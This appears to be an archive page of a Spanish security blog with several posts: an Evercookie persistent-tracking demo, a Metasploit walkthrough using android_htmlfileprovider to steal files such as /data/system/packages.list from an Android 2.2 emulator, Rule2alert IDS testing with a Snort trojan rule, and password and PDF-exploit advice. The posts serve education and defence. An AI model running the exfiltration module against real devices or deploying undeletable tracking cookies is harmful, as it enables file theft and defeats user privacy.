Evercookie – never forget

En el transcurso del año 2010 han visto la luz nuevas técnicas de ataque a aplicaciones Web. Entre todas ellas vamos a hablar del API javascript “Evercookie” creado por Samy Kamkar. Lo que Samy intenta demostrar con la creación de este API es la posibilidad de hacer que las cookies sean persistentes pese a que un usuario intente borrarlas. Para hacerlo se utilizan diferentes mecanismos que permiten almacenar la información en el lado del cliente, como HTML5 local storage, HTTP Etags, LSO Flash cookies, etcétera; todas los mecanismos y sus respectivos enlaces los podéis encontrar en la página de Evercookie.

Una vez nos descargamos el API, este pone a nuestra disposición un ejemplo de página que lo utiliza. En esta entrada vamos a comprobar cómo evercookie hace persistente las cookies usando la página de ejemplo.

Antes del acceso vemos en nuestro navegador —en este caso Firefox 3— que no disponemos de ninguna cookie:

Acto seguido accedemos a la página de ejemplo:

Una vez dentro se crea una cookie de nombre uid. Esta cookie es persistente —o eso dice el autor— ya que ha sido generada con Evercookie. Para este caso vemos como ha fijado el uid=620.


Por el momento nada extraordinario y el comportamiento es el habitual; o eso creemos, ¿no? Ahora vamos a eliminar toda la información mediante los mecanismos que ofrece Firefox (Clear Private Data Now):

Acto seguido accedemos a las cookies como hemos hecho antes y vemos que está todo borrado, no hemos dejado ni huella…. ¿seguro?. Cuando volvemos a acceder a la página, vemos como es capaz de recuperar el uid -en nuestro ejemplo el 620- que había generado la primera vez que accedimos; por lo que siempre que accedamos a la página web desde nuestro equipo ésta sabrá que somos el mismo usuario; es más, si dentro de nuestro navegador disponemos de varios perfiles, es capaz de recuperar la cookie, dado que por ejemplo la “cookie flash” está contenida en la carpeta Macromedia que queda fuera del alcance del perfil.

Una página Web que utilice estos mecanismos podría construirse un perfil asociado a un identificador de manera que podría proponernos ofertas, artículos, etc. que se ajusten a nuestras necesidades sin realmente habernos identificado en ningún lugar. Aparentemente estaríamos navegando de manera anónima pero no sería así, ya que la aplicación puede crear un perfil nuestro gracias a esta técnica.

Otro de los aspectos interesantes de esta técnica es lo que se denomina como “cross-browser”, donde la cookie es persistente y compartida por los diferentes navegadores. Se ha podido comprobar durante las pruebas realizadas que al crear una cookie persistente en Mozilla Firefox con evercookie y acceder después con Google Chrome, éste visualiza la cookie que se había creado en Firefox.

Un gran API, una gran técnica. Por tanto es normal que haya sigo la segunda más votada en el “Top Ten Web Hacking Techniques of 2010” del blog de Jeremiah Grossman.

Metasploit: Android_htmlfileprovider

Hace unas semanas fue publicada una vulnerabilidad en el navegador Web de Android 2.2 que permite robar ficheros del terminal descubierta por Thomas Cannon. Como ya se ha comentado en muchas predicciones realizadas a finales del año 2010, este año 2011 los dispositivos móviles van a dar que hablar y parece que no se están haciendo esperar.

En esta entrada vamos a mostrar los resultados de nuestras pruebas intentando aprovechar la vulnerabilidad sobre un dispositivo con Android 2.2 (en este caso el simulador de Android) con el módulo de metasploit “android_htmlfileprovider” hecho por “jduck”. Se pretende mostrar cómo con el módulo de metasploit es sencillo conseguir explotar la vulnerabilidad.

$ msfconsole
$ use gather/android_htmlfileprovider
$ info
Basic options:
  Name        Current Setting             Required  Description
  ----        ---------------             --------  -----------
  FILES       /proc/version,              no        The remote file(s) to steal
              /proc/self/status,
              /data/system/packages.list  
  SRVHOST     0.0.0.0                     yes       The local host to listen on.
  SRVPORT     8080                        yes       The local port to listen on.
  SSL         false                       no        Negotiate SSL for incoming connections
  SSLVersion  SSL3                        no        Specify the version of SSL that should be used 
                                                                       (accepted: SSL2, SSL3, TLS1)
  URIPATH                                 no        The URI to use for this exploit (default is random)
Description:
  This module exploits a cross-domain issue within the Android web
  browser to exfiltrate files from a vulnerable device.
$ set URIPATH payload.html
$ run

Esta secuencia de comandos levantará un servidor web en el puerto 8080 (debemos asegurarnos que no disponemos en la máquina de un servicio a la escucha en este puerto). Hemos cambiado el URIPATH para que no sea aleatorio y desde nuestro dispositivo con Android 2.2 sea más sencilla la escritura de la URI. Una vez arrancado con el comando “run” ya tendremos preparado el entorno para que una víctima visite nuestra web y podamos sacarle información.

Para hacer las pruebas vamos a probar con el emulador para Android y vamos utilizar la versión 2.2 de SDK.

Con el entorno preparado accedemos a la URL “http://192.168.1.135:8080/payload.html/q” desde el dispositivo; éste de forma automática comienza a descargar un archivo “.htm” sin autorización previa y en la ventana de la metasploit obtenemos una información muy interesante sobre nuestro dispositivo víctima:

Como habéis podido ver, crear una pequeña prueba de concepto ha sido rápido y hemos podido mostrar cómo el riesgo está ahí. Ahora cada uno debe reflexionar: ¿qué documentos guardo en dispositivo móvil? ¿estos documentos son confidenciales? ¿he puesto alguna medida de seguridad para evitar cosas como esta?

21/tcp open ftp

Hace cosa de un mes jugando con Nmap en un entorno de pruebas me topé con un detalle “curioso” que paso a contaros. Para que os situéis, el equipo sobre el que estaba haciendo las pruebas era un equipo con Windows XP SP3 con una máquina virtual con Debian GNU/Linux desde la se realizaban las pruebas (configuración no apta para escaneos).

“Equipo virtual -(nat)-> Equipo anfitrión -> Equipo destino”

Entre las diferentes pruebas me encuentro con algo inesperad: el puerto 21/tcp —puerto por defecto del servicio FTP— estaba abierto en uno de los equipos víctima de mis escaneos. Era un equipo que ni mucho menos tenía controlado que ahí pudiera estar ese servicio abierto. Reviso el equipo y al ver que no hay nada a la escucha, lanzo el escaneo sobre otro activo de la misma subred desde el mismo equipo origen. Mi sorpresa fue que tanto si hacía un nmap desde el equipo virtual, como si hacía un Telnet desde el equipo anfitrión con destino el puerto 21/tcp sobre diferentes destinos, daba la sensación de que había un servicio a la escucha en todos los destinos. ¿Suena raro, verdad? (por lo menos a un servidor le resultó raro). Ante este comportamiento se me ocurre escoger una dirección IP que no perteneciera al rango de direcciones de mi red local (IP elegida: 192.168.111.11) y lanzar el comando Telnet al puerto 21/tcp. El resultado era el siguiente:

[Read more…]

BotHunter

BotHunter es un sistema de detección de malware a través del tráfico de red creado por Computer Science Laboratory, SRI International. Si uno accede a la página web oficial del proyecto observará la siguiente descripción:

It tracks the two-way communication flows between your computer(s) and the Internet, comparing your network traffic against an abstract model of malware communication patterns.(1) Its goal is to catch bots and other coordination-centric malware infesting your network, and it is exceptionally effective.

Hemos destacado dos aspectos de la descripción: por un lado que se compara el tráfico contra un modelo abstracto de patrones de comunicación de malware y por otro la afirmación de que es excepcionalmente efectivo. Uno con esta descripción tan sugerente no le queda otra que ver en qué consiste este modelo y qué lo puede hacer tan efectivo. Durante esta entrada vamos a revisar el paper de SRI, donde se comenta la arquitectura, la lógica y diversos componentes de gran interés.

[Read more…]

Afinando nuestro IDS con Rule2alert

Los sistemas de detección de intrusos (IDS) son sistemas que requieren un ajuste adecuado para evitar falsos positivos, falsos negativos, alertas repetitivas que colapsan la consola de operación etc. Cuando se decide implantar un IDS, como parte del proceso de implantación, se requiere haber diseñado una batería de pruebas para comprobar que lo implantado reacciona adecuadamente y poder tener una cierta garantía (garantía total es imposible debido a la heterogeneidad del tráfico que circula por las redes) de poseer un ajuste fino y con buen rendimiento. En esta entrada vamos a hablar de la herramienta Rule2alert [1], que nos ayudará a crear una batería de pruebas propia, con el fin de realizar el mejor ajuste posible de nuestros IDS.

Rule2alert, como se puede leer en la página oficial del proyecto, [1] toma como entrada reglas de Snort y genera tráfico de red a partir de ellas, pudiéndolo volcar a un fichero con formato pcap. Rule2alert es una herramienta que se basa en otra herramienta llamada Scapy[2], en la cual destaca su potencia para la manipulación de paquetes de red.

Vista la descripción, vamos a hacer una pequeña prueba a ver que tal se comporta la herramienta. Cabe mencionar que hemos realizado las pruebas sobre un sistema GNU/Linux Debian Testing.

Lo primero, descargamos la aplicación de una manera rápida (no hemos encontrado un tar.gz/zip disponible a la fecha de escritura de esta entrada) mediante wget:

$ wget -r http://rule2alert.googlecode.com/svn/trunk/

Una vez descargada, dentro del directorio «rule2alert.googlecode.com/svn/trunk» dispondremos de la aplicación r2a.py. Para comprobar que tenemos todas las dependencias (comentar que con la versión 2.5.2 de Python no nos funcionaba correctamente, en cambio, con la versión 2.6 no hay problema) y las versiones adecuadas, ejecutamos:

$ python r2a.py -h

Options:
-h, –help show this help message and exit
-c SNORT_CONF Read in snort configuration file
-f RULE_FILE Read in snort rule file
-F Write failed streams to pcap
-w PCAP Name of pcap file
-v Verbose hex output of raw alert
-t Test rule against current snort configuration
-T Test rule against current Suricata configuration
-m HOMENET Set $HOME_NET IP Address
-e EXTNET Set $EXTERNAL_NET IP Address
-s MANUALSID Manual SID Selection
-n MANUALNUM Number of times to alert SID
-E EVASION Evasion Technique

Para hacer las pruebas construimos un fichero test.rule con la siguiente regla:

«alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:»ET TROJAN Win32.Dialer.buv Sending Information Home»; flow:established,to_server; uricontent:»/exit.php?if=»; nocase; content:»&cl=»; content:»&id=»; content:»&ov=»; content:»&site=»; content:»&tk=»; classtype:trojan-activity; reference:url; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Dialers; sid:2008430; rev:2;)»

$ python r2a.py -f test.rule -m 192.168.1.1 -e 1.1.1.1 -w test.pcap -v

Building Rule: 2008430

——– Hex Payload Start ———-
26 63 6c 3d 20 26 69 64
3d 20 26 6f 76 3d 20 26
73 69 74 65 3d 20 26 74
6b 3d
——— Hex Payload End ———–

Loaded 1 rules succesfully!
Writing packets to pcap…
Finished writing packets

En este instante, disponemos un fichero pcap de nombre test.pcap que, al abrirlo con Wireshark, podremos ver como ha generado el fichero:


Figura 1: test.pcap

Por lo que hemos podido comprobar, con Rule2alert generamos tráfico que va a encajar en nuestro IDS y debe generar una alerta, por lo que podemos realizar pruebas sobre nuestra configuración. Para probar este tráfico sobre el IDS, la manera más sencilla y rápida sería como nos indican en el propio Wiki de la herramienta:

$ snort -c /etc/snort/snort.conf -q -A console -k none -r test.pcap

A continuación, planteamos dos posibles ejemplos de pruebas (de los trillones de posibilidades) a realizar con la herramienta:

  • Una primera prueba sería inyectar “n” alertas iguales sobre nuestro IDS, de manera que probemos los umbrales de nuestras reglas (threshold, etc.). Si se da el caso de que disponemos de un correlador que recoge nuestras alertas del IDS, con esta prueba podemos comprobar que las reglas de correlación están haciendo su trabajo; resolviendo incógnitas como “¿agregará bien las alertas?”, “¿dispara un evento de criticidad superior?”, “¿me envía el correo y además un SMS?, etc.
  • Como bien sabéis, existen ocasiones en las que es necesario establecer filtros para determinado tipo de tráfico de red, debido a falsos positivos donde el tráfico es totalmente legítimo. En este caso puede ser interesante, para comprobar que no nos hemos pasado filtrando, lanzar una prueba con un paquete que sabemos que debe saltar alerta y otra donde no tendría que saltar. Siempre es mejor prevenir que curar :).

Queda claro que cualquier aspecto de la configuración de Snort es posible contrastarlo con Rule2alert, de manera que podamos afinar un poco más nuestra configuración. Esperamos que les resulte de utilidad la herramienta :).

[1] http://code.google.com/p/rule2alert/
[2] http://www.secdev.org/projects/scapy/

Usuario: mhyklo Password: 1234

Muchos usuarios de sistemas informáticos debemos almacenar en nuestra memoria gran cantidad de contraseñas, que pueden llevarnos a malas prácticas como por ejemplo: usar siempre la misma contraseña para todo, utilizar contraseñas derivadas de una que ya tenemos, contraseñas de longitud corta para poder acordarnos, utilizar alguna contraseña relacionada con nosotros como puede ser nuestra fecha de nacimiento o DNI, etc.

La solución a este problema puede encontrarse almacenando estas claves en un dispositivo que siempre llevemos con nosotros y que permita almacenar las contraseñas de manera segura, lo que implica que si alguien que no somos nosotros accede al dispositivo no pueda disponer de ellas. Entre estos dispositivos podemos encontrar Blackberrys o PDAs, que disponen de software con esta funcionalidad, entre otros. Aún así no todos los usuarios disponemos de este tipo de dispositivos, y plantearse una inversión en un «trasto» así para únicamente almacenar las contraseñas no parece del todo coherente. Entonces cabe plantearse la siguiente pregunta: ¿existe algún dispositivo que todo usuario lleve siempre consigo y en el cual almacenar las claves pueda ser rápido, cómodo y seguro? Esta pregunta hoy en día tiene respuesta: el móvil.

Para poder almacenar de manera segura las contraseñas en el móvil existe entre otros, el software “Freesafe«. Únicamente se deberá disponer de una contraseña “muy fuerte» que dé acceso al resto de contraseñas. Este software utiliza la librería criptográfica “The Legion of the Bouncy Castle«. Este sistema cumple los requisitos que comentábamos, ya que el móvil a día de hoy es parte prolongada de cualquiera de nosotros, y el software indicado almacena las contraseñas de manera segura en nuestro móvil. El único inconveniente de este software es que está por el momento limitado a ciertos móviles, pero todo es cuestión de “Bucear por Google» y encontrar un software que realice estas funciones para el nuestro.

Con esta solución (aunque seguro que existen más alternativas) uno puede disponer de contraseñas robustas y diferentes en todos los accesos que realice, sin la excusa de tener poca memoria.

Un viaje en metro por la gran ciudad

Ayer, como muchos otros días, iniciaba mi día laboral viajando en mi transporte público favorito: el metro, el cual me permite divagar, pensar, y reflexionar mientras viajo. O algo parecido. El caso es que observé que en el espacio que separa los vagones del metro hay un cartel que prohíbe quedarse detenido en ese espacio por cuestiones de seguridad, alertando de un riesgo si te detienes en ese lugar. Acto seguido me fijé y ví que por lo que parece éste es un sitio habitual de estacionamiento para los viajeros, y que incluso muchos de ellos se apoyan en las gomas que son usadas como interconexión de los vagones; que todo sea dicho, parecen bastante apetecibles y cómodas, y más a primera hora de la mañana (se asemejan a una colchoneta típica con la que uno va a la playa). Este problema es un tema relacionado con la responsabilidad de cada viajero, para lo cual sería necesaria una concienciación mayor de los pasajeros acerca del cumplimiento de las normas y la señalización. Pero, ¿es suficiente con poner ese cartel, o por el contrario es necesario tomar más medidas más restrictivas?

Por poner un ejemplo de una situación en la que no es suficiente con que haya un cartel que prohibe una acción, ¿cuánta gente no respeta la señal de prohibición en autopistas de circular como máximo a 120 km/h? A causa de ello se han tomado una serie de medidas (multas, sanciones penales, etc.) para concienciar al conductor de que debe respetar las normas de circulación, dado que las consecuencias en este caso son fatales. Todas estas situaciones, que reflejan cómo es el comportamiento natural de nuestra sociedad, pueden ser trasladadas al campo de la informática: en la gran mayoría de ocasiones no es suficiente únicamente con advertir del peligro al usuario sino que es necesario tomar las medidas pertinentes. Por lo tanto, en última instancia uno se debe plantear, como en el caso del cartel del metro, si es suficiente con la presencia de éste ó por el contrario deben establecerse medidas para que el cumplimiento sea efectivo.

La conclusión que obtuve de esta pequeña reflexión es que esta sociedad necesita madurar, dado que si ni cuando las consecuencias pueden ser fatales se respetan las normas, ¿por qué se van a respetar en el caso de que no lo sean? Y aplicando esto a nuestro campo, un profesional de la seguridad informática deberá siempre tener en cuenta que cualquier medida restrictiva y preventiva nunca estará de más. Les invito finalmente a realizar el siguiente ejercicio, párense durante 5 minutos (no más) y piensen: ¿cuántas normas/restricciones/reglas no cumplimos o nos saltamos a veces en nuestra vida cotidiana? Cada uno que obtenga sus propias conclusiones ;).

(Having fun with) Internet Explorer & PDF

Desde hace unos meses se están publicando una serie de vulnerabilidades que afectan a los navegadores web más utilizados, Internet Explorer, Firefox, etc., convirtiéndose en un vector de ataque nuevo de gran peligrosidad para cualquier usuario u organización. En el siguiente video pueden ver un ejemplo donde se explota una vulnerabilidad que afecta a Internet Explorer y Adobe Acrobat Reader:

[Vía raffon.net. Versión de mayor calidad (wmv) aquí]

Después de ver el video, ¿no se les ponen los pelos de punta? Espero que sí, porque si es así han comprendido la peligrosidad de este tipo de vulnerabilidades. ¿Cuántas veces hemos descargado un pdf de alguna página web y lo hemos ejecutado (abierto) en nuestra máquina? Cientas, miles, millones (quizá no tantas)…

Con esta acción tan corriente podrá alojarse en nuestra máquina un troyano, virus, malware, spyware, keylogger, o cualquier otro especímen de esta variada fauna. ¿Se imaginan lo fácil que podría ser para un atacante enviarse a una cuenta de correo todas las contraseñas tecleadas por usted mediante un simple keylogger y obtener acceso a datos privilegiados? Y todo eso simplemente consiguiendo que se baje un pdf y lo abra en su máquina…

Si al llegar a este punto, tienen una leve sensación de inseguridad, no se preocupen, no es cuestión de ser alarmistas, sólo prudentes; con unas pautas sencillas es posible reducir (que no eliminar) sensiblemente el riesgo que corremos debido a este tipo concreto de vulnerabilidades (claro que todo depende de la aversión al riesgo que cada uno tenga):

1.- Tener el sistema operativo actualizado, con los últimos parches de seguridad que ofrezca el fabricante aplicados. A causa de que suele existir cierto retraso en la publicación de parches oficiales por parte de los fabricantes desde que una vulnerabilidad se hace pública hasta que ésta se «consuma», este punto no es garantía «de estar a salvo» al 100%. En el caso concreto de Microsoft Windows la latencia en publicar parches suele ser considerable, por lo que pueden haber periodos en los que que pese a disponer de todas las actualizaciones seguimos siendo vulnerables.

2.- Tener las aplicaciones actualizadas (Adobe Reader, Máquina Virtual de Java, etc), haciendo especial énfasis en aquellas aplicaciones integradas en los navegadores.

3.- Asegurarnos de que las fuentes desde donde nos descargamos contenidos sean lo más fiables posibles.

4.- Tener el antivirus instalado y actualizado.

Todas estas medidas son preventivas, pero siempre puede escaparse a nuestro control por distintos motivos, por lo que les aconsejo que tengan mucho cuidado y hagan especial hincapié en la tercera medida, ya que como en muchas otras cosas, el factor humano es el más importante. Nada más. Ya saben, «naveguen con libertad, y precaución»